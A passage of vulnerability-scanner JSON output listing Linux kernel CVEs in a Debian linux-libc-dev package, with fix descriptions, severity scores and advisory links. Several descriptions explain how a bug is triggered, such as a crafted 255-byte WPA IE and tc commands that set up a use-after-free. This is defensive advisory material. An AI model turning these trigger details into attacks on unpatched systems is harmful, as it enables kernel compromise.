worker_thread+0x8a9/0xcf0 kernel/workqueue.c:3490\n| kthread+0x346/0x430 kernel/kthread.c:436\n| ret_from_fork+0x1a3/0x470 arch/x86/kernel/process.c:158\n| ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245\n|\n| Freed by task 322:\n| hci_disconn_cfm include/net/bluetooth/hci_core.h:2154 [inline]\n| hci_conn_hash_flush+0x101/0x1f0 net/bluetooth/hci_conn.c:2736\n| hci_dev_close_sync+0x889/0xde0 net/bluetooth/hci_sync.c:5405\n| hci_dev_do_close net/bluetooth/hci_core.c:502 [inline]\n| hci_unregister_dev+0x1f7/0x370 net/bluetooth/hci_core.c:2679\n| vhci_release+0x12a/0x180 drivers/bluetooth/hci_vhci.c:690\n| __fput+0x369/0x890 fs/file_table.c:510\n| task_work_run+0x160/0x1d0 kernel/task_work.c:233\n| get_signal+0xf5b/0x1120 kernel/signal.c:2810\n| arch_do_signal_or_restart+0x4d/0x600 arch/x86/kernel/signal.c:337\n| __exit_to_user_mode_loop kernel/entry/common.c:64 [inline]\n| exit_to_user_mode_loop+0x85/0x510 kernel/entry/common.c:98\n| do_syscall_64+0x263/0x3d0 arch/x86/entry/syscall_64.c:100\n| entry_SYSCALL_64_after_hwframe+0x77/0x7f\n|\n| The buggy address belongs to the object at ffff8881298d9400\n| which belongs to the cache kmalloc-512 of size 512\n| The buggy address is located 336 bytes inside of\n| freed 512-byte region [ffff8881298d9400, ffff8881298d9600)\n\nFix it by having chan-\u003econn hold a reference to l2cap_conn (via\nl2cap_conn_get) when the channel is added to the connection, and\nreleasing it in the channel destructor. This ensures the l2cap_conn\nremains alive as long as the channel exists.\n\nA new FLAG_DEL channel flag is introduced to indicate that the ch\n---truncated---", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64434", "https://git.kernel.org/linus/b66774b48dd98f07254951f74ea6f513efe7ff8b%20%287.2-rc1%29", "https://git.kernel.org/stable/c/0b0e2bf39cf99e458d991b9df253727e036a7d7d", "https://git.kernel.org/stable/c/32d783cafb46ff3ca58e6f9fd62c9c5f35eaf26b", "https://git.kernel.org/stable/c/50c38d9f42a529691e4e67ea9cedf4f0bfc8d277", "https://git.kernel.org/stable/c/8922c7940bae9ce4b1736dddb6362370793835c2", "https://git.kernel.org/stable/c/8f90405a4a6f1f1880dc07996b47bf57c712bd8a", "https://git.kernel.org/stable/c/91047a4396a8b1857a6f712a90cf33ec0012b189", "https://git.kernel.org/stable/c/b66774b48dd98f07254951f74ea6f513efe7ff8b", "https://git.kernel.org/stable/c/d3b739db5dc6f688a60d56da872fabaf65246032", "https://linux.oracle.com/cve/CVE-2026-64434.html", "https://linux.oracle.com/errata/ELSA-2026-500377.html", "https://lore.kernel.org/linux-cve-announce/2026072537-CVE-2026-64434-91cc@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64434", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://www.cve.org/CVERecord?id=CVE-2026-64434" ], "PublishedDate": "2026-07-25T10:17:27.717Z", "LastModifiedDate": "2026-10-19T21:17:37.66Z" }, { "VulnerabilityID": "CVE-2026-64446", "VendorIDs": [ "DLA-4720-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.180-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64446", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:691adedfd5ff6d1a0c4448380da569d8495247f0c8bc1aaf4d2eb75d6fde13c5", "Title": "kernel: staging: rtl8723bs: fix heap buffer overflow in rtw_cfg80211_set_wpa_ie()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nstaging: rtl8723bs: fix heap buffer overflow in rtw_cfg80211_set_wpa_ie()\n\nsupplicant_ie is a 256-byte array in struct security_priv. The WPA and\nWPA2 IE copy paths use:\n\n memcpy(padapter-\u003esecuritypriv.supplicant_ie, \u0026pwpa[0], wpa_ielen + 2);\n\nwhere wpa_ielen is the raw IE length field (u8, 0-255). When a local user\nsupplies a connect request via nl80211 with a crafted WPA IE of length 255,\nwpa_ielen + 2 equals 257, overflowing the 256-byte buffer by one byte into\nthe adjacent last_mic_err_time field.\n\nrtw_parse_wpa_ie() does not prevent this: its length consistency check\ncompares *(wpa_ie+1) against (u8)(wpa_ie_len-2), which is (u8)(255) == 255\nwhen wpa_ie_len = 257, so the check passes silently.\n\nAdd explicit bounds checks for both the WPA and WPA2 paths before the\nmemcpy, rejecting any IE whose total size (wpa_ielen + 2) exceeds the\nsupplicant_ie buffer.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64446", "https://git.kernel.org/linus/5a752a616e756844388a1a45404db9fc29fec655%20%287.2-rc3%29", "https://git.kernel.org/stable/c/138cd190efd56ab36c9fdd8fef8749d06937f24b", "https://git.kernel.org/stable/c/2131621986c62c86109ce4d84cf73a73757eb8a6", "https://git.kernel.org/stable/c/46f66c16a95191d9aca07a72ae6b1252a244e26c", "https://git.kernel.org/stable/c/5a752a616e756844388a1a45404db9fc29fec655", "https://git.kernel.org/stable/c/5d7812360abf3143afcbf5efe4ef242448fa1f28", "https://git.kernel.org/stable/c/6f20d7b0ee47c470734a69379b0fc6647c519603", "https://git.kernel.org/stable/c/a94a643a80a84ceb8139061c3d6bf988d75e45a5", "https://git.kernel.org/stable/c/b9c4bf133c3c47e23baf4f5403b98a953bf58606", "https://linux.oracle.com/cve/CVE-2026-64446.html", "https://linux.oracle.com/errata/ELSA-2026-500249.html", "https://lore.kernel.org/linux-cve-announce/2026072540-CVE-2026-64446-f81d@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64446", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-64446" ], "PublishedDate": "2026-07-25T10:17:29.31Z", "LastModifiedDate": "2026-11-06T17:18:54.55Z" }, { "VulnerabilityID": "CVE-2026-64530", "VendorIDs": [ "DLA-4720-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.180-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64530", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0f62ee7bbadfa84e355995d2889dd11e461f601f513f11fd226f1f7e8eb7b9d1", "Title": "kernel: net: sched: UAF via missing handler for TC_ACT_CONSUMED in tcf_qevent_handle", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: cls_api: Handle TC_ACT_CONSUMED in tcf_qevent_handle\n\ntcf_classify() can return TC_ACT_CONSUMED while the skb is held by the\ndefragmentation engine (e.g. act_ct on out-of-order fragments). When\nthat happens the skb is no longer owned by the caller and must not be\ntouched again.\n\ntcf_qevent_handle() did not handle TC_ACT_CONSUMED: it fell through the\nswitch and returned the skb to the caller as if classification had\npassed. The only qdisc that wires up qevents today is RED, via three call sites\n(qe_mark on RED_PROB_MARK/HARD_MARK, qe_early_drop on congestion_drop)\nred_enqueue() was continuing to operate on an skb it no longer owns in this\ncase -- enqueueing it, dropping it, or updating statistics. Resulting in a UAF.\n\n tc qdisc add dev eth0 root handle 1: red ... qevent early_drop block 10\n tc filter add block 10 ... action ct\n\n (with ct defrag enabled and traffic that produces out-of-order\n fragments, e.g. a fragmented UDP stream)\n\nHandle TC_ACT_CONSUMED in tcf_qevent_handle() the same way the ingress\nand egress fast paths do: treat it as stolen and return NULL without\ntouching the skb. Unlike the TC_ACT_STOLEN case, the skb must not be\ndropped/freed here, as it is no longer owned by us.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bottlerocket": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64530", "https://access.redhat.com/errata/RHSA-2026:49212", "https://access.redhat.com/security/cve/CVE-2026-64530", "https://bugzilla.redhat.com/2492094", "https://bugzilla.redhat.com/2492437", "https://bugzilla.redhat.com/2504052", "https://bugzilla.redhat.com/2507345", "https://bugzilla.redhat.com/show_bug.cgi?id=2492094", "https://bugzilla.redhat.com/show_bug.cgi?id=2492437", "https://bugzilla.redhat.com/show_bug.cgi?id=2504052", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52923", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52993", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64530", "https://errata.almalinux.org/9/ALSA-2026-49212.html", "https://errata.rockylinux.org/RLSA-2026:49212", "https://git.kernel.org/linus/a8a02897f2b479127db261de05cbf0c28b98d159%20%287.2-rc1%29", "https://git.kernel.org/stable/c/2140c2f3f2e7b066e1ae616ede8856cafd8015e9", "https://git.kernel.org/stable/c/447d493034a9cf7bf13a2abac86d0573d907ec2f", "https://git.kernel.org/stable/c/5ed3d6f85991656667059d3fa5a1d683ac58c447", "https://git.kernel.org/stable/c/a8a02897f2b479127db261de05cbf0c28b98d159", "https://git.kernel.org/stable/c/e1270e69dcf2c3512c453484178f2e9dc0db3f05", "https://git.kernel.org/stable/c/e28aedab9488343924d227b5a896faed67ce84d5", "https://git.kernel.org/stable/c/f42e8134a3a1074b834a574d404352f867ba994a", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/8.0.0/BRSA-2j7i1tulo36b.toml", "https://linux.oracle.com/cve/CVE-2026-64530.html", "https://linux.oracle.com/errata/ELSA-2026-500249.html", "https://lore.kernel.org/linux-cve-announce/2026072624-CVE-2026-64530-52e9@gregkh/T/#u", "https://nvd.nist.gov/vuln/detail/CVE-2026-64530", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8816-1", "https://ubuntu.com/security/notices/USN-8816-2", "https://ubuntu.com/security/notices/USN-8816-3", "https://ubuntu.com/security/notices/USN-8816-4", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-64530" ], "PublishedDate": "2026-07-26T07:16:41.68Z", "LastModifiedDate": "2026-11-03T18:15:39.353Z" }, { "VulnerabilityID": "CVE-2026-64531", "VendorIDs": [ "DLA-4720-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.180-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64531", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6257ec98e74b40ada29f7fa77ad646e27728bf540991f607fc53e68620edf1de", "Title": "kernel: net: openvswitch: reject oversized nested action attrs", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: openvswitch: reject oversized nested action attrs\n\nOpen vSwitch stores generated flow actions as nlattrs, whose nla_len\nfield is u16. Commit a1e64addf3ff (\"net: openvswitch: remove\nmisbehaving actions length check\") allowed the total sw_flow_actions\nstream to grow beyond 64 KiB, which is valid, but also removed the last\nguard preventing a generated nested action attribute from exceeding\nU16_MAX.\n\nAn oversized generated container can thus be closed with a truncated\nnla_len. A later dump or teardown then walks a structurally different\nstream than the one that was validated. In particular, an oversized\nnested CLONE/CT action may cause subsequent bytes in the generated\nstream to be interpreted as independent actions.\n\nKeep the larger total-action-stream behavior, but make nested action\nclose reject generated containers that do not fit in nla_len, and return\nthe error through all callers. For recursive SAMPLE, CLONE, DEC_TTL, and\nCHECK_PKT_LEN builders, trim resource-owning action-list tails in reverse\nconstruction order before discarding failed wrappers, so resources copied\ninto the rejected tails are released before the wrappers are removed.\n\nMost failed outer wrappers are discarded by truncating actions_len after\nchild resources have been released. CHECK_PKT_LEN also trims its parent\nafter branch resources are gone. SET/TUNNEL close failures unwind their\nknown tun_dst ownership directly, and SET_TO_MASKED has no external\nownership and truncates on close failure.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/07/28/8", "http://www.openwall.com/lists/oss-security/2026/07/31/17", "http://www.openwall.com/lists/oss-security/2026/08/01/1", "http://www.openwall.com/lists/oss-security/2026/08/01/3", "http://www.openwall.com/lists/oss-security/2026/08/22/1", "https://access.redhat.com/errata/RHSA-2026:53329", "https://access.redhat.com/security/cve/CVE-2026-64531", "https://bugzilla.redhat.com/2460644", "https://bugzilla.redhat.com/2477784", "https://bugzilla.redhat.com/2507213", "https://bugzilla.redhat.com/2507402", "https://bugzilla.redhat.com/show_bug.cgi?id=2460644", "https://bugzilla.redhat.com/show_bug.cgi?id=2477784", "https://bugzilla.redhat.com/show_bug.cgi?id=2507213", "https://bugzilla.redhat.com/show_bug.cgi?id=2507402", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-54518", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31530", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64368", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64531", "https://errata.almalinux.org/9/ALSA-2026-53329.html", "https://errata.rockylinux.org/RLSA-2026:53329", "https://git.kernel.org/linus/3f1f755366687d051174739fb99f7d560202f60b%20%287.2-rc4%29", "https://git.kernel.org/stable/c/1b41cbe05b184f8861712f0806cc0c4f5d8c6dfe", "https://git.kernel.org/stable/c/3f1f755366687d051174739fb99f7d560202f60b", "https://git.kernel.org/stable/c/ab855641241387db062a5e41d9ad6b8561542572", "https://git.kernel.org/stable/c/c66bd2626c2764f23764ff0f8277f44a9cfe8349", "https://git.kernel.org/stable/c/d573250d228401f707f4dbc09d11227a6215ee5f", "https://git.kernel.org/stable/c/dbd14f736be02cfe73049bd801af89becd1a0749", "https://git.kernel.org/stable/c/f1efff8858403191361a01269c6fe8dd7f55a385", "https://linux.oracle.com/cve/CVE-2026-64531.html", "https://linux.oracle.com/errata/ELSA-2026-53330.html", "https://lore.kernel.org/linux-cve-announce/2026072732-CVE-2026-64531-e4ce@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64531", "https://ubuntu.com/security/notices/USN-8643-1", "https://ubuntu.com/security/notices/USN-8643-2", "https://ubuntu.com/security/notices/USN-8643-3", "https://ubuntu.com/security/notices/USN-8643-4", "https://ubuntu.com/security/notices/USN-8643-5", "https://ubuntu.com/security/notices/USN-8656-1", "https://ubuntu.com/security/notices/USN-8658-1", "https://ubuntu.com/security/notices/USN-8658-2", "https://ubuntu.com/security/notices/USN-8658-3", "https://ubuntu.com/security/notices/USN-8658-4", "https://ubuntu.com/security/notices/USN-8659-1", "https://ubuntu.com/security/notices/USN-8659-2", "https://ubuntu.com/security/notices/USN-8659-3", "https://ubuntu.com/security/notices/USN-8659-4", "https://ubuntu.com/security/notices/USN-8660-1", "https://ubuntu.com/security/notices/USN-8661-1", "https://ubuntu.com/security/notices/USN-8661-2", "https://ubuntu.com/security/notices/USN-8661-3", "https://ubuntu.com/security/notices/USN-8661-4", "https://ubuntu.com/security/notices/USN-8661-5", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8748-1", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8911-1", "https://www.cve.org/CVERecord?id=CVE-2026-64531" ], "PublishedDate": "2026-07-27T08:16:22.243Z", "LastModifiedDate": "2026-11-03T18:15:39.353Z" }, { "VulnerabilityID": "CVE-2026-64534", "VendorIDs": [ "DLA-4720-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.180-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64534", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1e8321e7e7c5431b90a75280f18acd7be6b3fd700ef53ca5e5c87fed46d4bd87", "Title": "kernel: nvmet-tcp: check INIT_FAILED before nvmet_req_uninit in digest error path", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnvmet-tcp: check INIT_FAILED before nvmet_req_uninit in digest error path\n\nIn nvmet_tcp_try_recv_ddgst(), when a data digest mismatch is detected,\nnvmet_req_uninit() is called unconditionally. However, if the command\narrived via the nvmet_tcp_handle_req_failure() path, nvmet_req_init()\nhad returned false and percpu_ref_tryget_live() was never executed. The\nunconditional percpu_ref_put() inside nvmet_req_uninit() then causes a\nrefcount underflow, leading to a WARNING in\npercpu_ref_switch_to_atomic_rcu, a use-after-free diagnostic, and\neventually a permanent workqueue deadlock.\n\nCheck cmd-\u003eflags \u0026 NVMET_TCP_F_INIT_FAILED before calling\nnvmet_req_uninit(), matching the existing pattern in\nnvmet_tcp_execute_request().", "Severity": "HIGH", "CweIDs": [ "CWE-667" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:71232", "https://access.redhat.com/security/cve/CVE-2026-64534", "https://bugzilla.redhat.com/2432674", "https://bugzilla.redhat.com/2492381", "https://bugzilla.redhat.com/2502243", "https://bugzilla.redhat.com/2502251", "https://bugzilla.redhat.com/2502498", "https://bugzilla.redhat.com/2507134", "https://bugzilla.redhat.com/2507399", "https://bugzilla.redhat.com/2510890", "https://bugzilla.redhat.com/2513481", "https://bugzilla.redhat.com/2516527", "https://bugzilla.redhat.com/2528676", "https://bugzilla.redhat.com/2532176", "https://bugzilla.redhat.com/2535391", "https://bugzilla.redhat.com/show_bug.cgi?id=2432674", "https://bugzilla.redhat.com/show_bug.cgi?id=2492381", "https://bugzilla.redhat.com/show_bug.cgi?id=2502243", "https://bugzilla.redhat.com/show_bug.cgi?id=2502251", "https://bugzilla.redhat.com/show_bug.cgi?id=2502498", "https://bugzilla.redhat.com/show_bug.cgi?id=2507134", "https://bugzilla.redhat.com/show_bug.cgi?id=2507399", "https://bugzilla.redhat.com/show_bug.cgi?id=2510890", "https://bugzilla.redhat.com/show_bug.cgi?id=2513481", "https://bugzilla.redhat.com/show_bug.cgi?id=2516527", "https://bugzilla.redhat.com/show_bug.cgi?id=2517043", "https://bugzilla.redhat.com/show_bug.cgi?id=2528676", "https://bugzilla.redhat.com/show_bug.cgi?id=2532176", "https://bugzilla.redhat.com/show_bug.cgi?id=2535391", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23007", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53005", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63802", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63831", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64053", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64383", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64534", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64564", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68201", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72261", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74469", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80844", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-81000", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89846", "https://errata.almalinux.org/9/ALSA-2026-71232.html", "https://errata.rockylinux.org/RLSA-2026:71232", "https://git.kernel.org/linus/4606467a75cfc16721937272ed29462a750b60c8%20%287.1-rc2%29", "https://git.kernel.org/stable/c/22ec7a9fe9153d2737ee9b2fa6d2e43a1491decf", "https://git.kernel.org/stable/c/2ed3c9d955e8cd6361f130623baa664a75fb345f", "https://git.kernel.org/stable/c/4606467a75cfc16721937272ed29462a750b60c8", "https://git.kernel.org/stable/c/ba35b1c674ca3841c0dfadd698f2c1b3ec542d4e", "https://git.kernel.org/stable/c/c7874dad84b20433c0fe3919f291a762d40de08b", "https://git.kernel.org/stable/c/d306da8833e75f669d93424fd84940236f3850bc", "https://git.kernel.org/stable/c/e602c93b25bda4a9d0ff1791a4bdbfdcbb074af1", "https://linux.oracle.com/cve/CVE-2026-64534.html", "https://linux.oracle.com/errata/ELSA-2026-71232.html", "https://lore.kernel.org/linux-cve-announce/2026072734-CVE-2026-64534-434b@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64534", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8816-1", "https://ubuntu.com/security/notices/USN-8816-2", "https://ubuntu.com/security/notices/USN-8816-3", "https://ubuntu.com/security/notices/USN-8816-4", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-64534" ], "PublishedDate": "2026-07-27T08:16:22.643Z", "LastModifiedDate": "2026-11-03T18:15:39.353Z" }, { "VulnerabilityID": "CVE-2026-64552", "VendorIDs": [ "DLA-4720-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.180-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64552", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:fb7149f6cba2a452915df503a5449eb7b491262d68875126e019e834c8b11702", "Title": "kernel: virtio-net: fix len check in receive_big()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nvirtio-net: fix len check in receive_big()\n\nreceive_big() bounds the device-announced length by\n(big_packets_num_skbfrags + 1) * PAGE_SIZE. That is still too loose:\nadd_recvbuf_big() sets sg[1] to start at offset\nsizeof(struct padded_vnet_hdr) into the first page, so the chain\nactually carries hdr_len + (PAGE_SIZE - sizeof(padded_vnet_hdr)) +\nbig_packets_num_skbfrags * PAGE_SIZE bytes -- 20 bytes less than the\ncheck allows for the common hdr_len == 12 case.\n\nA malicious virtio backend can announce a len in that gap. page_to_skb()\nthen walks one frag past the page chain, storing a NULL page-\u003eprivate\ninto skb_shinfo()-\u003efrags[MAX_SKB_FRAGS], which is both an out-of-bounds\nwrite past the static frag array and a NULL frag handed up the rx path.\n\nBound len by the size add_recvbuf_big() actually advertised.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "amazon": 3, "azure": 3, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64552", "https://access.redhat.com/security/cve/CVE-2026-64552", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://git.kernel.org/linus/9e5ad06ea826322ce8c58b4a68442a96f600c3c4%20%287.2-rc1%29", "https://git.kernel.org/stable/c/38e94d63e29f4a5c6eae87ee2c02101aaa321502", "https://git.kernel.org/stable/c/9e5ad06ea826322ce8c58b4a68442a96f600c3c4", "https://git.kernel.org/stable/c/c7fc9adf4e006155f7f2aeda052fbcde25cdcc49", "https://git.kernel.org/stable/c/e6b8463b7d791f3886d7584259d6e9f06a69f12e", "https://git.kernel.org/stable/c/f9451d0fd5ba635dcabb49bfe456a6db734a8986", "https://git.kernel.org/stable/c/fbeb65154583879d556ea94cb2f15888e9470f3d", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/8.0.0/BRSA-zze3f4ryalwf.toml", 